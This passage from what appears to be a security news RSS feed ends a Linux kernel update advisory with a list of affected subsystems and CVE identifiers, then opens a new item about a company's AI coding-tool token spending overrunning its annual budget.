  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
